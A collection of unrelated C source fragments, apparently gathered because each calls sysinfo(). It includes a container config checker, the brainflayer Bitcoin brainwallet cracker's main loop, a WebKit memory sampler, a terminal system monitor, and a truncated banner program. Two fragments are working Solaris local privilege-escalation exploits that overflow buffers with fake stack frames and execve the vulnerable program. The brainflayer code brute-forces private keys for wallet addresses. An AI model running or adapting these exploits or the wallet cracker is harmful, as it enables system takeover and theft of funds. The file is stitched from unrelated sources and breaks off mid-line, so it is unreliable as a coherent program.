//We run this on nodes with clone containers. //It compares the md5sum hash of the clone container //against the ssh remote gathered md5sum of the clone //container uSource container. //Only reporting those that do not match. void CheckConf(void) { MYSQL_RES *res; MYSQL_ROW field; unsigned uDatacenter=0; unsigned uNode=0; unsigned uContainer=0; unsigned uSource=0; FILE *fp; char cCommand[128]; char cLocalMD5Sum[64]; char cRemoteMD5Sum[64]; if(gethostname(cHostname,99)!=0) { logfileLine("CheckConf","gethostname() failed",uContainer); exit(1); } //Uses login data from local.h TextConnectDb(); guLoginClient=1;//Root user sprintf(gcQuery,"SELECT uNode,uDatacenter,uOwner FROM tNode WHERE cLabel='%.99s'",cHostname); mysql_query(&gMysql,gcQuery); if(mysql_errno(&gMysql)) { logfileLine("CheckConf",mysql_error(&gMysql),uContainer); mysql_close(&gMysql); exit(2); } res=mysql_store_result(&gMysql); if((field=mysql_fetch_row(res))) { sscanf(field[0],"%u",&uNode); sscanf(field[1],"%u",&uDatacenter); sscanf(field[2],"%u",&guNodeOwner); } mysql_free_result(res); if(!uNode) { char *cp; //FQDN vs short name of 2nd NIC mess if((cp=strchr(cHostname,'.'))) *cp=0; sprintf(gcQuery,"SELECT uNode,uDatacenter,uOwner FROM tNode WHERE cLabel='%.99s'",cHostname); mysql_query(&gMysql,gcQuery); if(mysql_errno(&gMysql)) { logfileLine("CheckConf",mysql_error(&gMysql),uContainer); mysql_close(&gMysql); exit(2); } res=mysql_store_result(&gMysql); if((field=mysql_fetch_row(res))) { sscanf(field[0],"%u",&uNode); sscanf(field[1],"%u",&uDatacenter); sscanf(field[2],"%u",&guNodeOwner); } mysql_free_result(res); } if(!uNode) { logfileLine("CheckConf","Could not determine uNode",uContainer); mysql_close(&gMysql); exit(1); } //debug only printf("CheckConf() for %s (uNode=%u,uDatacenter=%u)\n", cHostname,uNode,uDatacenter); //Main loop. TODO use defines for tStatus.uStatus values. sprintf(gcQuery,"SELECT uContainer,uSource FROM tContainer WHERE uNode=%u" " AND uDatacenter=%u" " AND uSource>0" " AND (uStatus=1"//Active OR " OR uStatus=31)"//Stopped ,uNode,uDatacenter); mysql_query(&gMysql,gcQuery); if(mysql_errno(&gMysql)) { logfileLine("CheckConf",mysql_error(&gMysql),uContainer); mysql_close(&gMysql); exit(2); } res=mysql_store_result(&gMysql); while((field=mysql_fetch_row(res))) { if(sysinfo(&structSysinfo)) { logfileLine("CheckConf","sysinfo() failed",0); exit(1); } if(structSysinfo.loads[1]/LINUX_SYSINFO_LOADS_SCALE>JOBQUEUE_MAXLOAD) { logfileLine("CheckConf","structSysinfo.loads[1] larger than JOBQUEUE_MAXLOAD",0); mysql_free_result(res); mysql_close(&gMysql); return; } sscanf(field[0],"%u",&uContainer); sscanf(field[1],"%u",&uSource); //local first sprintf(cCommand,"cat /etc/vz/conf/%u.conf|grep -v IP_ADDRESS|grep -v ONBOOT|grep -v NAME|/usr/bin/md5sum", uContainer); if((fp=popen(cCommand,"r"))==NULL) { logfileLine("CheckConf",cCommand,0); pclose(fp); continue; } fgets(cLocalMD5Sum,33,fp); pclose(fp); //remote char cHost[100]={""}; GetNodeHostnameFromContainer(uSource,cHost); sprintf(cCommand,"/usr/bin/ssh -c arcfour %s " "\"cat /etc/vz/conf/%u.conf|grep -v IP_ADDRESS|grep -v ONBOOT|grep -v NAME|/usr/bin/md5sum\"", cHost,uSource); if((fp=popen(cCommand,"r"))==NULL) { logfileLine("CheckConf",cCommand,0); pclose(fp); continue; } fgets(cRemoteMD5Sum,33,fp); if(strcmp(cLocalMD5Sum,cRemoteMD5Sum)) printf("/etc/vz/conf/ file mismatch for %u %s %u %s\n",uContainer,cLocalMD5Sum,uSource,cRemoteMD5Sum); } mysql_free_result(res); mysql_close(&gMysql); }//void CheckConf(void)
/** * @see http://linux.about.com/library/cmd/blcmdl2_sysinfo.htm */ struct sysinfo* get_sysinfo() { static struct sysinfo s_info; sysinfo(&s_info); return &s_info; }
int main(int argc, char **argv) { FILE *ifile = stdin; FILE *ofile = stdout; FILE *ffile = NULL; int ret; float alpha, ilines_rate, ilines_rate_avg; int64_t raw_lines = -1; uint64_t report_mask = 0; uint64_t time_last, time_curr, time_delta; uint64_t time_start, time_elapsed; uint64_t ilines_last, ilines_curr, ilines_delta; uint64_t olines; int skipping = 0, tty = 0; char *line = NULL; size_t line_sz = 0; int line_read = 0; int c, spok = 0, aopt = 0, vopt = 0, wopt = 16, Lopt = 0; int nopt_mod = 0, nopt_rem = 0; uint64_t kopt = 0; unsigned char *bopt = NULL, *iopt = NULL, *oopt = NULL; unsigned char *topt = NULL, *sopt = NULL, *popt = NULL; unsigned char *mopt = NULL, *fopt = NULL, *ropt = NULL; unsigned char *Iopt = NULL; while ((c = getopt(argc, argv, "avb:hi:k:f:m:n:o:p:s:r:t:w:I:L")) != -1) { switch (c) { case 'a': aopt = 1; // open output file in append mode break; case 'k': kopt = strtoull(optarg, NULL, 10); // skip first k lines of input skipping = 1; break; case 'n': // only try the rem'th of every mod lines (one indexed) nopt_rem = atoi(optarg) - 1; optarg = strchr(optarg, '/'); if (optarg != NULL) { nopt_mod = atoi(optarg+1); } skipping = 1; break; case 'w': if (wopt > 1) wopt = atoi(optarg); break; case 'm': mopt = optarg; // table file wopt = 1; // auto break; case 'v': vopt = 1; // verbose break; case 'b': bopt = optarg; // bloom filter file break; case 'f': fopt = optarg; // full filter file break; case 'i': iopt = optarg; // input file break; case 'o': oopt = optarg; // output file break; case 's': sopt = optarg; // salt break; case 'p': popt = optarg; // passphrase break; case 'r': ropt = optarg; // rushwallet break; case 't': topt = optarg; // type of input break; case 'I': Iopt = optarg; // start key for incremental break; case 'L': Lopt = 1; // lookup output break; case 'h': // show help usage(argv[0]); return 0; case '?': // show error return 1; default: // should never be reached... printf("got option '%c' (%d)\n", c, c); return 1; } } if (optind < argc) { if (optind == 1 && argc == 2) { // older versions of brainflayer had the bloom filter file as a // single optional argument, this keeps compatibility with that bopt = argv[1]; } else { fprintf(stderr, "Invalid arguments:\n"); while (optind < argc) { fprintf(stderr, " '%s'\n", argv[optind++]); } exit(1); } } if (nopt_rem != 0 || nopt_mod != 0) { // note that nopt_rem has had one subtracted at option parsing if (nopt_rem >= nopt_mod) { bail(1, "Invalid '-n' argument, remainder '%d' must be <= modulus '%d'\n", nopt_rem+1, nopt_mod); } else if (nopt_rem < 0) { bail(1, "Invalid '-n' argument, remainder '%d' must be > 0\n", nopt_rem+1); } else if (nopt_mod < 1) { bail(1, "Invalid '-n' argument, modulus '%d' must be > 0\n", nopt_mod); } } if (wopt < 1 || wopt > 28) { bail(1, "Invalid window size '%d' - must be >= 1 and <= 28\n", wopt); } else { // very rough sanity check of window size struct sysinfo info; sysinfo(&info); uint64_t sysram = info.mem_unit * info.totalram; if (3584LLU*(1<<wopt) > sysram) { bail(1, "Not enough ram for requested window size '%d'\n", wopt); } } if (Iopt) { if (strlen(Iopt) != 64) { bail(1, "The starting key passed to the '-I' must be 64 hex digits exactly\n"); } if (topt) { bail(1, "Cannot specify input type in incremental mode\n"); } topt = "priv"; line = Iopt; unhex(Iopt, sizeof(priv256)*2, priv256, sizeof(priv256)); skipping = 1; if (!nopt_mod) { nopt_mod = 1; }; } if (topt != NULL) { if (strcmp(topt, "str") == 0) { input2hash160 = &pass2hash160; } else if (strcmp(topt, "hex") == 0) { input2hash160 = &hexpass2hash160; } else if (strcmp(topt, "priv") == 0) { input2hash160 = &hexpriv2hash160; } else if (strcmp(topt, "warp") == 0) { spok = 1; input2hash160 = popt ? &warpsalt2hash160 : &warppass2hash160; } else if (strcmp(topt, "bwio") == 0) { spok = 1; input2hash160 = popt ? &bwiosalt2hash160 : &bwiopass2hash160; } else if (strcmp(topt, "bv2") == 0) { spok = 1; input2hash160 = popt ? &brainv2salt2hash160 : &brainv2pass2hash160; } else if (strcmp(topt, "rush") == 0) { input2hash160 = &rush2hash160; } else { bail(1, "Unknown input type '%s'.\n", topt); } } else { topt = "str"; input2hash160 = &pass2hash160; } if (spok) { if (sopt && popt) { bail(1, "Cannot specify both a salt and a passphrase\n"); } if (popt) { kdfpass = popt; kdfpass_sz = strlen(popt); } else { if (sopt) { kdfsalt = sopt; kdfsalt_sz = strlen(kdfsalt); } else { kdfsalt = chkmalloc(0); kdfsalt_sz = 0; } } } else { if (popt) { bail(1, "Specifying a passphrase not supported with input type '%s'\n", topt); } else if (sopt) { bail(1, "Specifying a salt not supported with this input type '%s'\n", topt); } } if (ropt) { if (input2hash160 != &rush2hash160) { bail(1, "Specifying a url fragment only supported with input type 'rush'\n"); } kdfsalt = ropt; kdfsalt_sz = strlen(kdfsalt) - sizeof(rushchk)*2; if (kdfsalt[kdfsalt_sz-1] != '!') { bail(1, "Invalid rushwallet url fragment '%s'\n", kdfsalt); } unhex(kdfsalt+kdfsalt_sz, sizeof(rushchk)*2, rushchk, sizeof(rushchk)); kdfsalt[kdfsalt_sz] = '\0'; } else if (input2hash160 == &rush2hash160) { bail(1, "The '-r' option is required for rushwallet.\n"); } if (bopt) { if (Lopt) { bail(1, "The '-L' option cannot be used with a bloom filter\n"); } if ((ret = mmapf(&bloom_mmapf, bopt, BLOOM_SIZE, MMAPF_RNDRD)) != MMAPF_OKAY) { bail(1, "failed to open bloom filter '%s': %s\n", bopt, mmapf_strerror(ret)); } else if (bloom_mmapf.mem == NULL) { bail(1, "got NULL pointer trying to set up bloom filter\n"); } bloom = bloom_mmapf.mem; } if (fopt) { if (!bopt) { bail(1, "The '-f' option must be used with a bloom filter\n"); } if ((ffile = fopen(fopt, "r")) == NULL) { bail(1, "failed to open '%s' for reading: %s\n", fopt, strerror(errno)); } } if (iopt) { if ((ifile = fopen(iopt, "r")) == NULL) { bail(1, "failed to open '%s' for reading: %s\n", iopt, strerror(errno)); } // increases readahead window, don't really care if it fails posix_fadvise(fileno(ifile), 0, 0, POSIX_FADV_SEQUENTIAL); } if (oopt && (ofile = fopen(oopt, (aopt ? "a" : "w"))) == NULL) { bail(1, "failed to open '%s' for writing: %s\n", oopt, strerror(errno)); } /* line buffer output */ setvbuf(ofile, NULL, _IOLBF, 0); /* line buffer stderr */ setvbuf(stderr, NULL, _IOLBF, 0); if (vopt && ofile == stdout && isatty(fileno(stdout))) { tty = 1; } brainflayer_init_globals(); if (secp256k1_ec_pubkey_precomp_table(wopt, mopt) != 0) { bail(1, "failed to initialize precomputed table\n"); } if (vopt) { /* initialize timing data */ time_start = time_last = getns(); olines = ilines_last = ilines_curr = 0; ilines_rate_avg = -1; alpha = 0.500; } else { time_start = time_last = 0; // prevent compiler warning about uninitialized use } for (;;) { if (Iopt) { if (!skipping) { priv_incr(priv256); } else { priv_add_uint32(priv256, nopt_rem); secp256k1_ec_pubkey_incr_init(priv256, nopt_mod); priv2hash160(priv256); skipping = 0; line_read = 1; } } else if ((line_read = getline(&line, &line_sz, ifile)-1) > -1) { if (skipping) { ++raw_lines; if (kopt && raw_lines < kopt) { continue; } if (nopt_mod && raw_lines % nopt_mod != nopt_rem) { continue; } } line[line_read] = 0; if (input2hash160(line, line_read) != 0) { goto loop_update_stats; } } else { if (!vopt) break; goto loop_update_stats; } if (bloom) { if (bloom_chk_hash160(bloom, hash160_uncmp.ul)) { if (!fopt || hsearchf(ffile, &hash160_uncmp)) { if (tty) { fprintf(ofile, "\033[0K"); } if (Iopt) { hex(priv256, 32, line, 65); } fprintresult(ofile, &hash160_uncmp, 'u', topt, line); ++olines; } } if (bloom_chk_hash160(bloom, hash160_compr.ul)) { if (!fopt || hsearchf(ffile, &hash160_compr)) { if (tty) { fprintf(ofile, "\033[0K"); } if (Iopt) { hex(priv256, 32, line, 65); } fprintresult(ofile, &hash160_compr, 'c', topt, line); ++olines; } } } else { if (Iopt) { hex(priv256, 32, line, 65); } if (Lopt) { fprintlookup(ofile, &hash160_uncmp, &hash160_compr, priv256, topt, line); } else { fprintresult(ofile, &hash160_uncmp, 'u', topt, line); fprintresult(ofile, &hash160_compr, 'c', topt, line); } } loop_update_stats: if (vopt) { ++ilines_curr; if (line_read < 0 || (ilines_curr & report_mask) == 0) { time_curr = getns(); time_delta = time_curr - time_last; time_elapsed = time_curr - time_start; time_last = time_curr; ilines_delta = ilines_curr - ilines_last; ilines_last = ilines_curr; ilines_rate = (ilines_delta * 1.0e9) / (time_delta * 1.0); if (line_read < 0) { /* report overall average on last status update */ ilines_rate_avg = (--ilines_curr * 1.0e9) / (time_elapsed * 1.0); } else if (ilines_rate_avg < 0) { ilines_rate_avg = ilines_rate; /* target reporting frequency to about once every five seconds */ } else if (time_delta < 2500000000) { report_mask = (report_mask << 1) | 1; ilines_rate_avg = ilines_rate; /* reset EMA */ } else if (time_delta > 10000000000) { report_mask >>= 1; ilines_rate_avg = ilines_rate; /* reset EMA */ } else { /* exponetial moving average */ ilines_rate_avg = alpha * ilines_rate + (1 - alpha) * ilines_rate_avg; } fprintf(stderr, "\033[0G\033[2K" " rate: %9.2f p/s" " found: %5zu/%-10zu" " elapsed: %8.3f s" "\033[0G", ilines_rate_avg, olines, ilines_curr, time_elapsed / 1.0e9 ); if (line_read < 0) { fprintf(stderr, "\n"); break; } else { fflush(stderr); } }
WebMemoryStatistics WebMemorySampler::sampleWebKit() const { WebMemoryStatistics webKitMemoryStats; double now = currentTime(); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Timestamp"), now); ApplicationMemoryStats applicationStats = sampleMemoryAllocatedForApplication(); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Total Program Size"), applicationStats.totalProgramSize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("RSS"), applicationStats.residentSetSize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Shared"), applicationStats.sharedSize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Text"), applicationStats.textSize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Library"), applicationStats.librarySize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Data/Stack"), applicationStats.dataStackSize); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Dirty"), applicationStats.dirtyPageSize); size_t totalBytesInUse = 0; size_t totalBytesCommitted = 0; #if ENABLE(GLOBAL_FASTMALLOC_NEW) FastMallocStatistics fastMallocStatistics = WTF::fastMallocStatistics(); size_t fastMallocBytesInUse = fastMallocStatistics.committedVMBytes - fastMallocStatistics.freeListBytes; size_t fastMallocBytesCommitted = fastMallocStatistics.committedVMBytes; totalBytesInUse += fastMallocBytesInUse; totalBytesCommitted += fastMallocBytesCommitted; appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Fast Malloc In Use"), fastMallocBytesInUse); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Fast Malloc Committed Memory"), fastMallocBytesCommitted); #endif size_t jscHeapBytesInUse = JSDOMWindow::commonVM().heap.size(); size_t jscHeapBytesCommitted = JSDOMWindow::commonVM().heap.capacity(); totalBytesInUse += jscHeapBytesInUse; totalBytesCommitted += jscHeapBytesCommitted; GlobalMemoryStatistics globalMemoryStats = globalMemoryStatistics(); totalBytesInUse += globalMemoryStats.stackBytes + globalMemoryStats.JITBytes; totalBytesCommitted += globalMemoryStats.stackBytes + globalMemoryStats.JITBytes; appendKeyValuePair(webKitMemoryStats, ASCIILiteral("JavaScript Heap In Use"), jscHeapBytesInUse); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("JavaScript Heap Commited Memory"), jscHeapBytesCommitted); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("JavaScript Stack Bytes"), globalMemoryStats.stackBytes); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("JavaScript JIT Bytes"), globalMemoryStats.JITBytes); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Total Memory In Use"), totalBytesInUse); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Total Committed Memory"), totalBytesCommitted); struct sysinfo systemInfo; if (!sysinfo(&systemInfo)) { appendKeyValuePair(webKitMemoryStats, ASCIILiteral("System Total Bytes"), systemInfo.totalram); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Available Bytes"), systemInfo.freeram); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Shared Bytes"), systemInfo.sharedram); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Buffer Bytes"), systemInfo.bufferram); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Total Swap Bytes"), systemInfo.totalswap); appendKeyValuePair(webKitMemoryStats, ASCIILiteral("Available Swap Bytes"), systemInfo.freeswap); } return webKitMemoryStats; }
/* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE]; char platform[256], release[256]; int i, offset, ff_addr, sc_addr, str_addr; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); int rwx_mem = search_rwx_mem(); /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the evil buffer */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "LD_PRELOAD=/", 12); buf[sizeof(buf) - 2] = '/'; /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ sc_addr = add_env(ff); str_addr = add_env(sc); add_env("bar"); add_env(buf); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ff_addr = sb - offset + arg_len; sc_addr += ff_addr; str_addr += ff_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* fill the evil buffer */ for (i = 12 + ALIGN; i < 1296; i += 4) set_val(buf, i, str_addr); /* must be a valid string */ /* to avoid distance bruteforcing */ for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) { set_val(buf, i, ff_addr); set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */ } /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); }
/* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; char platform[256], release[256], display[256]; int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; int plat_len, prog_len, rel; char *arg[2] = {"foo", NULL}; int arg_len = 4, arg_pos = 1; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* fake lpstat code */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* get ret and fake frame addresses from environment */ ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); /* prepare the evil printer name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with return and fake frame addresses */ for (i = 0; i < BUFSIZE; i += 4) { /* apparently, we don't need to bruteforce */ set_val(buf, i, ret - 4); set_val(buf, i += 4, ff_addr); } /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for %s: /dev/null\n", buf); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: %s\n", buf); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* get some system information */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); rel = atoi(release + 2); /* prepare the fake frame */ bzero(ff, sizeof(ff)); /* * saved %l registers */ set_val(ff, i = 0, DUMMY); /* %l0 */ set_val(ff, i += 4, DUMMY); /* %l1 */ set_val(ff, i += 4, DUMMY); /* %l2 */ set_val(ff, i += 4, DUMMY); /* %l3 */ set_val(ff, i += 4, DUMMY); /* %l4 */ set_val(ff, i += 4, DUMMY); /* %l5 */ set_val(ff, i += 4, DUMMY); /* %l6 */ set_val(ff, i += 4, DUMMY); /* %l7 */ /* * saved %i registers */ set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ set_val(ff, i += 4, DUMMY); /* %i2 */ set_val(ff, i += 4, DUMMY); /* %i3 */ set_val(ff, i += 4, DUMMY); /* %i4 */ set_val(ff, i += 4, DUMMY); /* %i5 */ set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ /* fill the envp, keeping padding */ sc_addr = add_env(ff); add_env(sc); ret_pos = env_pos; add_env("RET=0x41414141"); fpt_pos = env_pos; add_env("FPT=0x42424242"); add_env(display); add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* calculate the offset to argv[0] (voodoo magic) */ plat_len = strlen(platform) + 1; prog_len = strlen(VULN) + 1; offset = arg_len + env_len + plat_len + prog_len; if (rel > 7) VOODOO64(offset, arg_pos, env_pos) else VOODOO32(offset, plat_len, prog_len) /* calculate the needed addresses */ ff_addr = sb - offset + arg_len; sc_addr += ff_addr; /* set fake frame's %i1 */ set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ /* overwrite RET and FPT env vars with the right addresses */ sprintf(ret_var, "RET=0x%x", ret); env[ret_pos] = ret_var; sprintf(fpt_var, "FPT=0x%x", ff_addr); env[fpt_pos] = fpt_var; /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); }
int main (void) { int i, c; initscr (); noecho (); curs_set (0); if (has_colors () == FALSE) { fprintf (stderr, "Your terminal doesn't support colors.\n"); global.colors = 0; } else { global.colors = 1; start_color (); if (use_default_colors () == OK) bg = -1; color (GREEN, COLOR_GREEN); color (YELLOW, COLOR_YELLOW); color (RED, COLOR_RED); color (CYAN, COLOR_CYAN); } signal (SIGINT, &handler); signal (SIGTERM, &handler); signal (SIGSEGV, &handler); global.loadavg.file = fopen ("/proc/loadavg", "r"); global.cpu = fopen ("/proc/stat", "r"); global.mtab = fopen ("/etc/mtab", "r"); global.net = fopen ("/proc/net/dev", "r"); global.wireless = fopen ("/proc/net/wireless", "r"); /* Init global.battery */ global.battery.ok = 1; strncpy (global.battery.dir.location, "/proc/acpi/battery/", 128); global.battery.dir.dir = opendir (global.battery.dir.location); if (global.battery.dir.dir != NULL) { while (1) { global.battery.dir.content = readdir (global.battery.dir.dir); if (!strcmp (global.battery.dir.content->d_name, ".")) break; else if (!strcmp (global.battery.dir.content->d_name, "..")) break; } closedir (global.battery.dir.dir); if (global.battery.dir.content != NULL) { strcat (global.battery.dir.location, global.battery.dir.content->d_name); snprintf (global.battery.state.location, 128, "%s/state", global.battery.dir.location); snprintf (global.battery.info.location, 128, "%s/info", global.battery.dir.location); global.battery.state.file = fopen (global.battery.state.location, "r"); global.battery.info.file = fopen (global.battery.info.location, "r"); if (global.battery.state.file == NULL || global.battery.info.file == NULL) { fprintf (stderr, "Can't open %s/state or %s/info while %s is present, check your ACPI configuration or remove the directory %s.\n", global.battery.dir.location, global.battery.dir.location, global.battery.dir.location, global.battery.dir.location); global.battery.ok = 0; } } else { fprintf (stderr, "Nothing in /proc/acpi/battery or can't list directory while directory present.\n"); global.battery.ok = 0; } } else { fprintf (stderr, "No /proc/acpi/battery directory, skipping the battery part.\n"); global.battery.ok = 0; } /* Get static system informations */ global.nprocs = get_nprocs (); uname (&global.uname); { /* get processor */ FILE *f = fopen ("/proc/cpuinfo", "r"); char buf[256]; strncpy (global.processor, global.uname.machine, 256); if (f != NULL) { while (fgets (buf, sizeof buf, f)) { if (!strncmp (buf, "model name", 10)) { char *p = strchr (buf, ':'); strncpy (global.processor, &p[2], 256); p = strchr (global.processor, '\n'); *p = 0; break; } } fclose (f); } global.processor[255] = 0; } if (global.cpu != NULL) { extern struct cpu_t *ocpu, *ncpu; ocpu = malloc (global.nprocs * sizeof (struct cpu_t)); ncpu = malloc (global.nprocs * sizeof (struct cpu_t)); if (ocpu == NULL || ncpu == NULL) fclose (global.cpu), global.cpu = NULL; } halfdelay (1); while ((c = getch ()) != '\n') { global.line = 0; switch (c) { case 'r': clear (); break; } /* Check system informations */ if (0 != sysinfo (&global.sys)) continue; /* Print informations */ for (i = 0; show_fields[i] != EndOfFields; ++i) { if (show_fields[i] == Uname) { mvprintw (global.line++, 0, "%s %s\n%s\n", global.uname.nodename, global.uname.release, global.processor); global.line++; } if (global.loadavg.file != NULL && show_fields[i] == Loadavg) { char tmp[256]; loadavg (); snprintf (tmp, 256, "Load average: 1min: $4%.2f$0 / 5min: $4%.2f$0 / 15min: $4%.2f$0\n", global.loadavg.loads[0], global.loadavg.loads[1], global.loadavg.loads[2]); print_color (global.line++, 0, tmp); snprintf (tmp, 256, "Tasks: $4%d$0 running, $4%d$0 total, last PID used : $4%d$0\n", global.loadavg.prun, global.loadavg.ptotal, global.loadavg.pid); print_color (global.line++, 0, tmp); } refresh (); if (show_fields[i] == Date) /* Date */ { time_t timestamp= time (NULL); struct tm *t = localtime (×tamp); mvprintw (global.line, 0, "Time: %02d:%02d:%02d |", t->tm_hour, t->tm_min, t->tm_sec); refresh (); } if (show_fields[i] == Date) /* Uptime */ { int uptime = global.sys.uptime; int up, day, hour, min, sec; day = uptime / 86400; up = uptime - (day * 86400); hour = up / 3600; up -= hour * 3600; min = up / 60; sec = up - min * 60; mvprintw (global.line++, 17, "Uptime: %d day%s, %02d:%02d:%02d\n", day, (day > 1 ? "s" : ""), hour, min, sec); refresh (); } if (global.cpu != NULL && show_fields[i] == Cpu) { int i; for (i = 0; i < global.nprocs; ++i) cpubar (i); } if (show_fields[i] == Ram) rambar (); if (show_fields[i] == Swap) swapbar (); if (global.mtab != NULL && show_fields[i] == Disk) diskbar (); if (global.wireless != NULL && show_fields[i] == Wireless) wirelessbar (); if (global.net != NULL && show_fields[i] == Network) netbar (); if (global.battery.ok && show_fields[i] == Battery) batterybar (); if (show_fields[i] == Process) print_proc (); } sleep (1); } raise (SIGTERM); return 0; }
int main(int argc, char **argv) { FILE *fpt; char packages[50] = " "; fpt = popen ("dpkg --list|wc -l", "r"); fgets(packages, 50, fpt); pclose(fpt); struct sysinfo info; sysinfo(&info); struct passwd *p; uid_t uid=1000; // 1000 user uid number. if ((p = getpwuid(uid)) == NULL) perror("getpwuid() error"); if (argc >= 2) { int c; while ((c = getopt(argc, argv, "h")) != -1) { switch (c) { case 'h': default: help(); break; } } } { char computer[256]; struct utsname uts; time_t timeval; (void)time(&timeval); if(gethostname(computer, 255) != 0 || uname(&uts) < 0) { fprintf(stderr, "Could not get host information, so fuck off\n"); exit(1); } time_t now; printf(Z2" █████ █████\n"Z0); printf(Z2" ▒███ ▒██████▒ ▓███████████████████▓ ▓██████ ▓███"Z0);printf(CLR_GRY"\t\t\t\t\t ╔═══════════╗\n"CLR_RST); printf(Z2" ▓██▓ █████████▓ ▓████████▓ ███"Z0);printf(CLR_GRY"\t\t\t\t\t ║"CLR_RST);printf(Z3" Uptime ");printf(CLR_GRY"║ %02ld:%02ld:%02ld\n"CLR_RST, info.uptime/3600, info.uptime%3600/60,info.uptime%60); printf(Z2" ██▓ ███ ▓█ █ ▒███ 